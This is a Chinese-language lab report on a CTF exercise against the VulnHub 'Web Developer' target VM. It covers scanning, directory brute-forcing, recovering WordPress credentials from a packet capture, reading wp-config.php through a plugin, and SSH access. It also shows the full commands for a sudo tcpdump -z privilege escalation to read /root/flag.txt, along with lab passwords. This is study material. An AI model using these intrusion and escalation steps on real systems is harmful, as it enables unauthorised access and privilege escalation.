一、实验目的和要求
实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。
系统环境:Kali Linux 2、WebDeveloper靶机来源:https://www.vulnhub.com/
实验工具:不限
二、实验步骤
目的:获取靶机Web Developer 文件/root/flag.txt中flag。
基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 “cap”;分析 “cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。
实施细节如下:
1.发现目标 (netdiscover),找到WebDeveloper的IP地址。
输入命令arp-scan –l
可以看到目标地址为192.168.58.133
2.利用NMAP扫描目标主机,发现目标主机端口开放、服务情况,截图并说明目标提供的服务有哪些?(利用第一次实验知识点)
22端口:ssh服务(SSH 是 Secure Shell Protocol 的简写,由 IETF 网络工作小组(Network Working Group )制定)。在进行数据传输之前,SSH先对联机数据包通过加密技术进行加密处理,加密后在进行数据传输,确保了传递的数据安全。SSH服务主要提供两个服务功能:一是提供类似telnet远程联机服务器的服务,即上面提到的SSH服务。另一个是类似FTP服务的sftp-server,借助SSH协议来传输数据的.提供更安全的SFTP服务(vsftp,proftp)。
80端口:http服务。从服务器传输文本到本地浏览器的传输协议,传输文本+确定那部分文本显示。HTTP是一种面向对象的协议。允许传送任意类型的数据对象。它通过数据类型和长度来标识所传送的数据内容和大小,并允许对数据进行压缩传送。HTTP是一种无状态协议,即服务器不保留与客户交易时的任何状态。这就大大减轻了服务器记忆负担,从而保持较快的响应速度。
3.若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。截图。是否有可用信息?
我们访问了靶机IP
4.利用whatweb探测目标网站使用的CMS模板。截图。分析使用的CMS是什么?
输入命令 whatweb 192.168.58.133
网站搭建使用的CMS模板为WordPress[4.9.8]
5.网络搜索wpscan,简要说明其功能。
https://blog.csdn.net/qq_53079406/article/details/124783450
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写
能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
6.使用 Dirb 爆破网站目录。(Dirb 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑)截图。找到一个似乎和网络流量有关的目录(路径)。
输入命令 dirb http://192.168.58.133
与流量有关的目录(路径)http ://192.168.58.133
7.浏览器访问该目录(路径),发现一个cap文件。截图。
8.利用Wireshark分析该数据包,分析TCP数据流。找到什么有用的信息?截图。
筛选http.request.method==POST,找到了账号密码
login: webdeveloper
password: Te5eQg&4sBS!Yr$)wf%(DcAd
9.利用上一步得到的信息进入网站后台。截图。
10.利用该CMS存在的(插件Plugin)漏洞。
使用第三种方法,利用文件管理插件(File manager)漏洞。安装该插件,直接可以浏览wp-config.php。
11.利用该插件漏洞提权。
打开 wp-config.php之后即可查看访问数据库和远程连接服务器的账号和密码:
(网站管理员账号与操作系统账号是不同概念)
12.SSH登录服务器
尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。
输入命令ssh [email protected]
密码为MasterOfTheUniverse
(1)尝试查看/root/flag.txt
均无法查看。
(2)使用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令。)
查看当前身份可执行的命令。
发现可以root权限执行tcpdump命令
命令:touch /tmp/exploit
(用于创建攻击文件)
命令:echo “cat /root/flag.txt” > /tmp/exploit
(写入shellcode)
命令:chmod +x /tmp/exploit
(赋予可执行权限)
命令:sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
(利用tcpdump执行任意命令)
找到flag